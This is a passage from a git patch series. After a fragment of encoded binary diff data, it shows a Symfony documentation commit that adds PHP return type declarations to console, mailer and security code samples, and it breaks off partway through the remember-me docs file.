zu^z@+{iyERHHVakbUoGaX19}Rl=!AeI-hPespu#Bcco3)Dlv`1@y*+h<ZW?F<%MNm
zyKb}+B%P>u?0<*bIA(5wVj>U_2q7~WR0`>G!r@|0UJf_x7B1)(F76i2Pj07CoW{ye
zw;_j76lfI|sCOzz^x;6sNCn2m_KmB-Fz);`janK&artSvy>#i0W8d4qa@Sf^^zz_)
z>HY2Fk*2HYeSW0gfBK0(4D_zM_rtWc?&s}vzxi}>`hQ;jctdL_daLvgp3qd&m-~nD
z%=dKijG3*ssp#pxY<BhBtZ%lfJ2Azj4R4)81ZuA1vina<Kkbwc*f^GWrhASWrT)*w
z*~*+`&8KTK5Dov;qqH3Uw^W6miaqC@^C^1lEyEHMl=$9t?=SbcsWIIda!j_(Y#Kco
z8X^En(tn2(P>99hMx9{|hr1T!$c$qg=p`J<;RwTGK&64DtdE7c3>(1fKu>N*Q5>#?
z6vrEGj+e90J`TbZAPyN4#?=ul8I=tY@3lX^Pxty(1Ssc{ONt=nE~lhHpc2KNj-MZ<
z3!qyZkVqFo22o?sb>68F_8#ET@1uv?9r5*U?|+-G-n!1WSje^3_ILf5t}Jd?E^gS$
z;^x4`g7qN>L_mK0)xE%DfDnlW7z66!9G|l$_-QstJB(r7VQjUkdhmI+u+efOwfGt(
zsR}-NUaXVkyXn3n)7U$f>ToX#)7|*lcbq#l@q_tw@9THxn+g->PZh_}L(fUldFED(
z1Ai#G`5et+U&pKSdf5H!;FVn=6+ld82Zaz3C?Rf+ylKKOG~>fSx5=e4`E}jqa3*mW
zhZ9}($aOfIltlUhtexS@0l{c~bK7fcc~iJaRucrjJd>j~n4D7J3YZ5jkT!9zHJSVg
zj{t-r8m!<Gw+VjtOm2zW5I003I|wBNbALoxH^jZiYAtb}1##CSxi3NVFuGT9TA7RD
zR>D;Vu$!5S07$aqlbpdrw8SIKkerDxjJ@`;xo-aNARBFKz%|oR2wciIW+oM7l)w(s
zQ4_KW1_c+wM2nbWA}%%^9pdcMK*<innt3nEK3zpi4Q2CU72L+k^JmHar-tOlaep}K
zRC(SrV!dl)n1f;%@v9}DrIRp8C^KH7vlxbW+2=xHn6`2$(ngqp5s(s@Ckg>2vV$<g
zcz47No(m{se6WHqkbG6SRH27CfgfrIo)ankYLeI<8@{Z}3Ry|)wMk;nXN$BI8pnXU
zl4i6DIg&@Gaf8QbiHDFJPy%><j(-fjBYFI6v9$r$%N7mHdN_`cU%b57<ZwHhyNKkl
zCU4l>(B_608HFuef{DVoOKfg<%G{8(8dTthPQ89mQQ#qfT@zFg3OFn9Nh2TMJr8|L
zW35w16<a3y&R6gkaE8%i-^ox_IM4gC)wq*Y<M!CLWh<LAp363hKm1Vd$bT7m8}v>D
zfRLg-B0vyGk52D|04j1g3i%*IXB78QRt^`WN#GoYw>tFlksUnZ9gT^JXAsXDW8UBf
zjn$8)$Jsq^hJ9P`_@2ckTIl~a(Bb&GWRkW4R3mAn9d1|>t%~dvFk|f9iR{^m!+5ZQ
zFJu$^(~9iKitJ|~vTxh46@S@nz;xy!yKFTd&h~*y)}6>s02GofMRo>|XoCM@k-h1F
zYl`g9it1KWx1zcg)vc($DXN>O3$Oob04q~<EviGer6__4LbE+|sH;+aj>iC|nW|2J
zL^8*x=yj>;AEze9%dDyIBr^licV?k)PKGl-$QZZp+yzk-TUq^-vVVG&aa+E!S>n0B
zXWq(-=GX)aZsD`LDVr|vNKrOj!GCRKQ_I|^WA19JwXY|>qSq5^upDYt3}b+Ix;cab
zk+a+qUs{&4Ece1~AKO-IS?;n}4!2dg&Gi=vxO7Dqu^bf{o&cPRqH>$zV;8vGeN~m)
z&we_$1>4gWY%5IH77lD}Dt_h#TS!_BQUxH8lb;4Ae{NQ6B@htVitTADwzMTdzi_Iu
zBdH5MIdM@6`U`w3by=yazMx-awN~o7EUAmNDRmhKhAG0we@VeONP_wX7DFipEAR|A
zf$yH={`vi@^EvXgRl82FcI~iUt9Dtn>)h2Y-lp1RJip}KiCq~SVgoEot&0E`btrW;
z9c?|Oe~Ve6%L-jq=(72x6}mQrt}No>m|CIhctTf=0HT%m)CuplTxRgr%4Lfe96KwQ
zwKm{-K?Ju!gbgBW5MhG|8$_fV9>7-1&Y)T*TM8mzms=(Y&1`qMWpaW43b#y}N0eF>
z`LuKd?Vd@iBEQbp7m?di9k9?<aYwry7I>)KT<x&Lx4RweZio8yzbdP>yB#iSw*!K0
zu^eIfpHY?!(@t2f#B&LzgQs%=5Nv{PS?(8OxeBYbEO(|XS6s>B#c6h-I1SWX$2V_^
U6Z18W)#T>Q|5A1rV{?rF0O9uZ@c;k-


From 23dc0985f8fb2f5e2b2533d51321517fbabde3ff Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 21 Nov 2020 17:47:51 +0100
Subject: [PATCH 0774/5766] [Console][Mailer][Security] Added PHP type
 declarations

---
 console.rst                                 | 18 ++++-----
 console/calling_commands.rst                | 44 +++++++++++----------
 console/command_in_controller.rst           |  4 +-
 console/commands_as_services.rst            |  6 +--
 console/hide_commands.rst                   |  2 +-
 console/input.rst                           |  6 ++-
 console/lockable_trait.rst                  |  2 +-
 console/style.rst                           |  6 +--
 console/verbosity.rst                       |  4 +-
 mailer.rst                                  |  3 +-
 security.rst                                | 12 +++---
 security/access_denied_handler.rst          |  2 +-
 security/csrf.rst                           |  7 ++--
 security/custom_authentication_provider.rst | 24 +++++------
 security/expressions.rst                    |  4 +-
 security/form_login.rst                     |  4 +-
 security/form_login_setup.rst               | 17 ++++----
 security/guard_authentication.rst           | 20 +++++-----
 security/impersonating_user.rst             |  8 ++--
 security/json_login_setup.rst               |  2 +-
 security/named_encoders.rst                 |  2 +-
 security/remember_me.rst                    |  4 +-
 security/user_checkers.rst                  |  4 +-
 security/user_provider.rst                  |  3 +-
 security/voters.rst                         | 16 ++++----
 25 files changed, 119 insertions(+), 105 deletions(-)

diff --git a/console.rst b/console.rst
index e980cea046a..ad47c0c6879 100644
--- a/console.rst
+++ b/console.rst
@@ -38,12 +38,12 @@ want a command to create a user::
         // the name of the command (the part after "bin/console")
         protected static $defaultName = 'app:create-user';
 
-        protected function configure()
+        protected function configure(): void
         {
             // ...
         }
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             // ... put here the code to create the user
 
@@ -65,7 +65,7 @@ You can optionally define a description, help message and the
 :doc:`input options and arguments </console/input>`::
 
     // ...
-    protected function configure()
+    protected function configure(): void
     {
         $this
             // the short description shown while running "php bin/console list"
@@ -100,7 +100,7 @@ available in the ``configure()`` method::
             parent::__construct();
         }
 
-        protected function configure()
+        protected function configure(): void
         {
             $this
                 // ...
@@ -136,7 +136,7 @@ The ``execute()`` method has access to the output stream to write messages to
 the console::
 
     // ...
-    protected function execute(InputInterface $input, OutputInterface $output)
+    protected function execute(InputInterface $input, OutputInterface $output): int
     {
         // outputs multiple lines to the console (adding "\n" at the end of each line)
         $output->writeln([
@@ -189,7 +189,7 @@ method, which returns an instance of
 
     class MyCommand extends Command
     {
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             if (!$output instanceof ConsoleOutputInterface) {
                 throw new \LogicException('This command accepts only an instance of "ConsoleOutputInterface".');
@@ -236,7 +236,7 @@ Use input options or arguments to pass information to the command::
     use Symfony\Component\Console\Input\InputArgument;
 
     // ...
-    protected function configure()
+    protected function configure(): void
     {
         $this
             // configure an argument
@@ -246,7 +246,7 @@ Use input options or arguments to pass information to the command::
     }
 
     // ...
-    public function execute(InputInterface $input, OutputInterface $output)
+    public function execute(InputInterface $input, OutputInterface $output): int
     {
         $output->writeln([
             'User Creator',
@@ -300,7 +300,7 @@ as a service, you can use normal dependency injection. Imagine you have a
 
         // ...
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             // ...
 
diff --git a/console/calling_commands.rst b/console/calling_commands.rst
index 0b3919973e5..2defb04d49a 100644
--- a/console/calling_commands.rst
+++ b/console/calling_commands.rst
@@ -8,36 +8,40 @@ or if you want to create a "meta" command that runs a bunch of other commands
 changed on the production servers: clearing the cache, generating Doctrine
 proxies, dumping web assets, ...).
 
-Calling a command from another one is straightforward::
+Use the :method:`Symfony\\Component\\Console\\Application::find` method to
+find the command you want to run by passing the command name. Then, create a
+new :class:`Symfony\\Component\\Console\\Input\\ArrayInput` with the
+arguments and options you want to pass to the command.
 
+Eventually, calling the ``run()`` method actually runs the command and returns
+the returned code from the command (return value from command's ``execute()``
+method)::
+
+    // ...
+    use Symfony\Component\Console\Command;
     use Symfony\Component\Console\Input\ArrayInput;
     use Symfony\Component\Console\Input\InputInterface;
     use Symfony\Component\Console\Output\OutputInterface;
-    // ...
 
-    protected function execute(InputInterface $input, OutputInterface $output)
+    class CreateUserCommand extends Command
     {
-        $command = $this->getApplication()->find('demo:greet');
-
-        $arguments = [
-            'name'    => 'Fabien',
-            '--yell'  => true,
-        ];
+        // ...
 
-        $greetInput = new ArrayInput($arguments);
-        $returnCode = $command->run($greetInput, $output);
+        protected function execute(InputInterface $input, OutputInterface $output): void
+        {
+            $command = $this->getApplication()->find('demo:greet');
 
-        // ...
-    }
+            $arguments = [
+                'name'    => 'Fabien',
+                '--yell'  => true,
+            ];
 
-First, you :method:`Symfony\\Component\\Console\\Application::find` the
-command you want to run by passing the command name. Then, you need to create
-a new :class:`Symfony\\Component\\Console\\Input\\ArrayInput` with the arguments
-and options you want to pass to the command.
+            $greetInput = new ArrayInput($arguments);
+            $returnCode = $command->run($greetInput, $output);
 
-Eventually, calling the ``run()`` method actually runs the command and returns
-the returned code from the command (return value from command's ``execute()``
-method).
+            // ...
+        }
+    }
 
 .. tip::
 
diff --git a/console/command_in_controller.rst b/console/command_in_controller.rst
index 190584bfbda..74cd6b09cbe 100644
--- a/console/command_in_controller.rst
+++ b/console/command_in_controller.rst
@@ -36,7 +36,7 @@ Run this command from inside your controller via::
 
     class SpoolController extends AbstractController
     {
-        public function sendSpool($messages = 10, KernelInterface $kernel)
+        public function sendSpool(int $messages = 10, KernelInterface $kernel): Response
         {
             $application = new Application($kernel);
             $application->setAutoExit(false);
@@ -87,7 +87,7 @@ Now, use it in your controller::
 
     class SpoolController extends AbstractController
     {
-        public function sendSpool($messages = 10)
+        public function sendSpool(int $messages = 10): Response
         {
             // ...
             $output = new BufferedOutput(
diff --git a/console/commands_as_services.rst b/console/commands_as_services.rst
index fb5e7ff70eb..794ec8f46cb 100644
--- a/console/commands_as_services.rst
+++ b/console/commands_as_services.rst
@@ -35,17 +35,17 @@ For example, suppose you want to log something from within your command::
             parent::__construct();
         }
 
-        protected function configure()
+        protected function configure(): void
         {
             $this
                 ->setDescription('Good morning!');
         }
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             $this->logger->info('Waking up the sun');
             // ...
-            
+
             return 0;
         }
     }
diff --git a/console/hide_commands.rst b/console/hide_commands.rst
index db39ca824f8..2f9d2819873 100644
--- a/console/hide_commands.rst
+++ b/console/hide_commands.rst
@@ -20,7 +20,7 @@ In those cases, you can define the command as **hidden** by setting the
     {
         protected static $defaultName = 'app:legacy';
 
-        protected function configure()
+        protected function configure(): void
         {
             $this
                 ->setHidden(true)
diff --git a/console/input.rst b/console/input.rst
index 0813bad58c5..926a89604cd 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -21,7 +21,7 @@ and make the ``name`` argument required::
     {
         // ...
 
-        protected function configure()
+        protected function configure(): void
         {
             $this
                 // ...
@@ -42,7 +42,7 @@ You now have access to a ``last_name`` argument in your command::
     {
         // ...
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             $text = 'Hi '.$input->getArgument('name');
 
@@ -52,6 +52,8 @@ You now have access to a ``last_name`` argument in your command::
             }
 
             $output->writeln($text.'!');
+
+            return 0;
         }
     }
 
diff --git a/console/lockable_trait.rst b/console/lockable_trait.rst
index 36cd393907c..98c94d82c57 100644
--- a/console/lockable_trait.rst
+++ b/console/lockable_trait.rst
@@ -22,7 +22,7 @@ that adds two convenient methods to lock and release commands::
 
         // ...
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             if (!$this->lock()) {
                 $output->writeln('The command is already running in another process.');
diff --git a/console/style.rst b/console/style.rst
index dd981436e50..79a4971b2c8 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -21,7 +21,7 @@ Consider for example the code used to display the title of the following command
     {
         // ...
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             $output->writeln([
                 '<info>Lorem Ipsum Dolor Sit Amet</>',
@@ -62,7 +62,7 @@ title of the command::
     {
         // ...
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             $io = new SymfonyStyle($input, $output);
             $io->title('Lorem Ipsum Dolor Sit Amet');
@@ -399,7 +399,7 @@ of your commands to change their appearance::
     {
         // ...
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             // Before
             $io = new SymfonyStyle($input, $output);
diff --git a/console/verbosity.rst b/console/verbosity.rst
index c16737c2b61..7df68d30f23 100644
--- a/console/verbosity.rst
+++ b/console/verbosity.rst
@@ -49,7 +49,7 @@ level. For example::
     {
         // ...
 
-        public function execute(InputInterface $input, OutputInterface $output)
+        public function execute(InputInterface $input, OutputInterface $output): int
         {
             $user = new User(...);
 
@@ -68,6 +68,8 @@ level. For example::
                 'Will only be printed in verbose mode or higher',
                 OutputInterface::VERBOSITY_VERBOSE
             );
+
+            return 0;
         }
     }
 
diff --git a/mailer.rst b/mailer.rst
index 42ec190574a..ec13d48e4ba 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -226,6 +226,7 @@ and create an :class:`Symfony\\Component\\Mime\\Email` object::
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Mailer\MailerInterface;
     use Symfony\Component\Mime\Email;
 
@@ -234,7 +235,7 @@ and create an :class:`Symfony\\Component\\Mime\\Email` object::
         /**
          * @Route("/email")
          */
-        public function sendEmail(MailerInterface $mailer)
+        public function sendEmail(MailerInterface $mailer): Response
         {
             $email = (new Email())
                 ->from('hello@example.com')
diff --git a/security.rst b/security.rst
index c0439086b76..490ccef1ce9 100644
--- a/security.rst
+++ b/security.rst
@@ -644,7 +644,7 @@ You can deny access from inside a controller::
     // src/Controller/AdminController.php
     // ...
 
-    public function adminDashboard()
+    public function adminDashboard(): Response
     {
         $this->denyAccessUnlessGranted('ROLE_ADMIN');
 
@@ -688,7 +688,7 @@ using annotations:
     +      *
     +      * @IsGranted("ROLE_ADMIN")
     +      */
-          public function adminDashboard()
+          public function adminDashboard(): Response
           {
               // ...
           }
@@ -735,7 +735,7 @@ role::
 
     // ...
 
-    public function adminDashboard()
+    public function adminDashboard(): Response
     {
         $this->denyAccessUnlessGranted('IS_AUTHENTICATED_FULLY');
 
@@ -770,7 +770,7 @@ like this:
 After authentication, the ``User`` object of the current user can be accessed
 via the ``getUser()`` shortcut::
 
-    public function index()
+    public function index(): Response
     {
         // usually you'll want to make sure the user is authenticated first
         $this->denyAccessUnlessGranted('IS_AUTHENTICATED_FULLY');
@@ -811,6 +811,8 @@ If you need to get the logged in user from a service, use the
         {
             // returns User object or null if not authenticated
             $user = $this->security->getUser();
+
+            // ...
         }
     }
 
@@ -901,7 +903,7 @@ Next, you'll need to create a route for this URL (but not a controller):
             /**
              * @Route("/logout", name="app_logout", methods={"GET"})
              */
-            public function logout()
+            public function logout(): void
             {
                 // controller can be blank: it will never be executed!
                 throw new \Exception('Don\'t forget to activate logout in security.yaml');
diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index 8db53e89421..8492ff24bef 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -123,7 +123,7 @@ response)::
 
     class AccessDeniedHandler implements AccessDeniedHandlerInterface
     {
-        public function handle(Request $request, AccessDeniedException $accessDeniedException)
+        public function handle(Request $request, AccessDeniedException $accessDeniedException): ?Response
         {
             // ...
 
diff --git a/security/csrf.rst b/security/csrf.rst
index 9da64168379..d79bb25e7fb 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -85,7 +85,7 @@ this can be customized on a form-by-form basis::
 
     // src/Form/TaskType.php
     namespace App\Form;
-    
+
     // ...
     use App\Entity\Task;
     use Symfony\Component\OptionsResolver\OptionsResolver;
@@ -94,7 +94,7 @@ this can be customized on a form-by-form basis::
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class'      => Task::class,
@@ -154,9 +154,10 @@ Then, get the value of the CSRF token in the controller action and use the
 to check its validity::
 
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     // ...
 
-    public function delete(Request $request)
+    public function delete(Request $request): Response
     {
         $submittedToken = $request->request->get('token');
 
diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
index d1bdcd564c0..5acd7333f38 100644
--- a/security/custom_authentication_provider.rst
+++ b/security/custom_authentication_provider.rst
@@ -78,7 +78,7 @@ provider::
             $this->setAuthenticated(count($roles) > 0);
         }
 
-        public function getCredentials()
+        public function getCredentials(): string
         {
             return '';
         }
@@ -123,7 +123,7 @@ set an authenticated token in the token storage if successful::
             $this->authenticationManager = $authenticationManager;
         }
 
-        public function __invoke(RequestEvent $event)
+        public function __invoke(RequestEvent $event): void
         {
             $request = $event->getRequest();
 
@@ -216,7 +216,7 @@ the ``PasswordDigest`` header value matches with the user's password::
             $this->cachePool = $cachePool;
         }
 
-        public function authenticate(TokenInterface $token)
+        public function authenticate(TokenInterface $token): WsseUserToken
         {
             $user = $this->userProvider->loadUserByUsername($token->getUsername());
 
@@ -236,7 +236,7 @@ the ``PasswordDigest`` header value matches with the user's password::
          * For more information specific to the logic here, see
          * https://github.com/symfony/symfony-docs/pull/3134#issuecomment-27699129
          */
-        protected function validateDigest($digest, $nonce, $created, $secret)
+        protected function validateDigest($digest, $nonce, $created, $secret): bool
         {
             // Check created time is not in the future
             if (strtotime($created) > time()) {
@@ -269,7 +269,7 @@ the ``PasswordDigest`` header value matches with the user's password::
             return hash_equals($expected, $digest);
         }
 
-        public function supports(TokenInterface $token)
+        public function supports(TokenInterface $token): bool
         {
             return $token instanceof WsseUserToken;
         }
@@ -307,7 +307,7 @@ create a class which implements
 
     class WsseFactory implements SecurityFactoryInterface
     {
-        public function create(ContainerBuilder $container, $id, $config, $userProvider, $defaultEntryPoint)
+        public function create(ContainerBuilder $container, $id, $config, $userProvider, $defaultEntryPoint): array
         {
             $providerId = 'security.authentication.provider.wsse.'.$id;
             $container
@@ -321,17 +321,17 @@ create a class which implements
             return [$providerId, $listenerId, $defaultEntryPoint];
         }
 
-        public function getPosition()
+        public function getPosition(): string
         {
             return 'pre_auth';
         }
 
-        public function getKey()
+        public function getKey(): string
         {
             return 'wsse';
         }
 
-        public function addConfiguration(NodeDefinition $node)
+        public function addConfiguration(NodeDefinition $node): void
         {
         }
     }
@@ -455,7 +455,7 @@ factory in the kernel::
 
     class Kernel extends BaseKernel
     {
-        public function build(ContainerBuilder $container)
+        public function build(ContainerBuilder $container): void
         {
             $extension = $container->getExtension('security');
             $extension->addSecurityListenerFactory(new WsseFactory());
@@ -547,7 +547,7 @@ the ``addConfiguration()`` method::
     {
         // ...
 
-        public function addConfiguration(NodeDefinition $node)
+        public function addConfiguration(NodeDefinition $node): void
         {
             $node
                 ->children()
@@ -568,7 +568,7 @@ in order to put it to use::
 
     class WsseFactory implements SecurityFactoryInterface
     {
-        public function create(ContainerBuilder $container, $id, $config, $userProvider, $defaultEntryPoint)
+        public function create(ContainerBuilder $container, $id, $config, $userProvider, $defaultEntryPoint): array
         {
             $providerId = 'security.authentication.provider.wsse.'.$id;
             $container
diff --git a/security/expressions.rst b/security/expressions.rst
index 2ed16878ff2..a74fbb58eaf 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -15,7 +15,7 @@ accepts an :class:`Symfony\\Component\\ExpressionLanguage\\Expression` object::
     use Symfony\Component\ExpressionLanguage\Expression;
     // ...
 
-    public function index()
+    public function index(): Response
     {
         $this->denyAccessUnlessGranted(new Expression(
             '"ROLE_ADMIN" in roles or (not is_anonymous() and user.isSuperAdmin())'
@@ -86,7 +86,7 @@ Additionally, you have access to a number of functions inside the expression:
         use Symfony\Component\Security\Core\Authorization\AuthorizationCheckerInterface;
         // ...
 
-        public function index(AuthorizationCheckerInterface $authorizationChecker)
+        public function index(AuthorizationCheckerInterface $authorizationChecker): Response
         {
             $access1 = $authorizationChecker->isGranted('IS_AUTHENTICATED_REMEMBERED');
 
diff --git a/security/form_login.rst b/security/form_login.rst
index 6cc958fc9eb..46a1c8ee049 100644
--- a/security/form_login.rst
+++ b/security/form_login.rst
@@ -103,7 +103,7 @@ configuration (``login``):
             /**
              * @Route("/login", name="login", methods={"GET", "POST"})
              */
-            public function login()
+            public function login(): Response
             {
             }
         }
@@ -146,7 +146,7 @@ Great! Next, add the logic to ``login()`` that displays the login form::
     // src/Controller/SecurityController.php
     use Symfony\Component\Security\Http\Authentication\AuthenticationUtils;
 
-    public function login(AuthenticationUtils $authenticationUtils)
+    public function login(AuthenticationUtils $authenticationUtils): Response
     {
         // get the login error if there is one
         $error = $authenticationUtils->getLastAuthenticationError();
diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index 0e48913a2d9..0725ff3815d 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -80,7 +80,7 @@ class that processes the login submit and 4) updates the main security config fi
         /**
          * @Route("/logout", name="app_logout")
          */
-        public function logout()
+        public function logout(): void
         {
             throw new \LogicException('This method can be blank - it will be intercepted by the logout key on your firewall.');
         }
@@ -197,6 +197,7 @@ a traditional HTML form that submits to ``/login``:
     use Doctrine\ORM\EntityManagerInterface;
     use Symfony\Component\HttpFoundation\RedirectResponse;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
     use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
     use Symfony\Component\Security\Core\Encoder\UserPasswordEncoderInterface;
@@ -230,7 +231,7 @@ a traditional HTML form that submits to ``/login``:
             $this->passwordEncoder = $passwordEncoder;
         }
 
-        public function supports(Request $request)
+        public function supports(Request $request): bool
         {
             return self::LOGIN_ROUTE === $request->attributes->get('_route')
                 && $request->isMethod('POST');
@@ -251,7 +252,7 @@ a traditional HTML form that submits to ``/login``:
             return $credentials;
         }
 
-        public function getUser($credentials, UserProviderInterface $userProvider)
+        public function getUser($credentials, UserProviderInterface $userProvider): ?User
         {
             $token = new CsrfToken('authenticate', $credentials['csrf_token']);
             if (!$this->csrfTokenManager->isTokenValid($token)) {
@@ -268,7 +269,7 @@ a traditional HTML form that submits to ``/login``:
             return $user;
         }
 
-        public function checkCredentials($credentials, UserInterface $user)
+        public function checkCredentials($credentials, UserInterface $user): bool
         {
             return $this->passwordEncoder->isPasswordValid($user, $credentials['password']);
         }
@@ -281,7 +282,7 @@ a traditional HTML form that submits to ``/login``:
             return $credentials['password'];
         }
 
-        public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey)
+        public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey): ?Response
         {
             if ($targetPath = $this->getTargetPath($request->getSession(), $providerKey)) {
                 return new RedirectResponse($targetPath);
@@ -291,7 +292,7 @@ a traditional HTML form that submits to ``/login``:
             throw new \Exception('TODO: provide a valid redirect inside '.__FILE__);
         }
 
-        protected function getLoginUrl()
+        protected function getLoginUrl(): string
         {
             return $this->urlGenerator->generate(self::LOGIN_ROUTE);
         }
@@ -380,7 +381,7 @@ be redirected after success:
       // src/Security/LoginFormAuthenticator.php
 
       // ...
-      public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey)
+      public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey): Response
       {
           // ...
 
@@ -503,7 +504,7 @@ whenever the user browses a page::
             $this->saveTargetPath($this->session, 'main', $request->getUri());
         }
 
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return [
                 KernelEvents::REQUEST => ['onKernelRequest']
diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index de4285a653a..11d85732d5d 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -145,7 +145,7 @@ This requires you to implement several methods::
          * used for the request. Returning `false` will cause this authenticator
          * to be skipped.
          */
-        public function supports(Request $request)
+        public function supports(Request $request): bool
         {
             return $request->headers->has('X-AUTH-TOKEN');
         }
@@ -159,7 +159,7 @@ This requires you to implement several methods::
             return $request->headers->get('X-AUTH-TOKEN');
         }
 
-        public function getUser($credentials, UserProviderInterface $userProvider)
+        public function getUser($credentials, UserProviderInterface $userProvider): ?UserInterface
         {
             if (null === $credentials) {
                 // The token header was empty, authentication fails with HTTP Status
@@ -173,7 +173,7 @@ This requires you to implement several methods::
             return $userProvider->loadUserByUsername($credentials);
         }
 
-        public function checkCredentials($credentials, UserInterface $user)
+        public function checkCredentials($credentials, UserInterface $user): bool
         {
             // Check credentials - e.g. make sure the password is valid.
             // In case of an API token, no credential check is needed.
@@ -182,13 +182,13 @@ This requires you to implement several methods::
             return true;
         }
 
-        public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey)
+        public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey): ?Response
         {
             // on success, let the request continue
             return null;
         }
 
-        public function onAuthenticationFailure(Request $request, AuthenticationException $exception)
+        public function onAuthenticationFailure(Request $request, AuthenticationException $exception): ?Response
         {
             $data = [
                 // you may want to customize or obfuscate the message first
@@ -204,7 +204,7 @@ This requires you to implement several methods::
         /**
          * Called when authentication is needed, but it's not sent
          */
-        public function start(Request $request, AuthenticationException $authException = null)
+        public function start(Request $request, AuthenticationException $authException = null): Response
         {
             $data = [
                 // you might translate this message
@@ -214,7 +214,7 @@ This requires you to implement several methods::
             return new JsonResponse($data, Response::HTTP_UNAUTHORIZED);
         }
 
-        public function supportsRememberMe()
+        public function supportsRememberMe(): bool
         {
             return false;
         }
@@ -466,7 +466,7 @@ completes registration. To do that, use your authenticator and a service called
 
     class RegistrationController extends AbstractController
     {
-        public function register(LoginFormAuthenticator $authenticator, GuardAuthenticatorHandler $guardHandler, Request $request)
+        public function register(LoginFormAuthenticator $authenticator, GuardAuthenticatorHandler $guardHandler, Request $request): Response
         {
             // ...
 
@@ -496,7 +496,7 @@ the user's session is "migrated" to a new session id.
 This is an edge-case, and unless you're having session or CSRF token issues, you
 can ignore this. Here is an example of good and bad behavior::
 
-    public function supports(Request $request)
+    public function supports(Request $request): bool
     {
         // GOOD behavior: only authenticate (i.e. return true) on a specific route
         return 'login_route' === $request->attributes->get('_route') && $request->isMethod('POST');
@@ -532,7 +532,7 @@ are two possible fixes:
     +         $this->security = $security;
     +     }
 
-          public function supports(Request $request)
+          public function supports(Request $request): bool
           {
     +         // if there is already an authenticated user (likely due to the session)
     +         // then return false and skip authentication: there is no need.
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index d7c1692ba80..246fc458525 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -276,13 +276,13 @@ logic you want::
             $this->security = $security;
         }
 
-        protected function supports($attribute, $subject)
+        protected function supports($attribute, $subject): bool
         {
             return in_array($attribute, ['CAN_SWITCH_USER'])
                 && $subject instanceof UserInterface;
         }
 
-        protected function voteOnAttribute($attribute, $subject, TokenInterface $token)
+        protected function voteOnAttribute($attribute, $subject, TokenInterface $token): bool
         {
             $user = $token->getUser();
             // if the user is anonymous or if the subject is not a user, do not grant access
@@ -334,7 +334,7 @@ you switch users, add an event subscriber on this event::
 
     class SwitchUserSubscriber implements EventSubscriberInterface
     {
-        public function onSwitchUser(SwitchUserEvent $event)
+        public function onSwitchUser(SwitchUserEvent $event): void
         {
             $request = $event->getRequest();
 
@@ -347,7 +347,7 @@ you switch users, add an event subscriber on this event::
             }
         }
 
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return [
                 // constant for security.switch_user
diff --git a/security/json_login_setup.rst b/security/json_login_setup.rst
index d61b82287bc..d30f878bfb3 100644
--- a/security/json_login_setup.rst
+++ b/security/json_login_setup.rst
@@ -77,7 +77,7 @@ The next step is to configure a route in your app matching this path:
             /**
              * @Route("/login", name="login", methods={"POST"})
              */
-            public function login(Request $request)
+            public function login(Request $request): Response
             {
                 $user = $this->getUser();
 
diff --git a/security/named_encoders.rst b/security/named_encoders.rst
index 0cf58d2e53d..381e4a5f27b 100644
--- a/security/named_encoders.rst
+++ b/security/named_encoders.rst
@@ -125,7 +125,7 @@ the name of the encoder to use::
 
     class User implements UserInterface, EncoderAwareInterface
     {
-        public function getEncoderName()
+        public function getEncoderName(): ?string
         {
             if ($this->isAdmin()) {
                 return 'harsh';
diff --git a/security/remember_me.rst b/security/remember_me.rst
index 631a6528e43..0f42b792b07 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -173,7 +173,7 @@ users to change their password. You can do this by leveraging a few special "rol
     // src/Controller/AccountController.php
     // ...
 
-    public function accountInfo()
+    public function accountInfo(): Response
     {
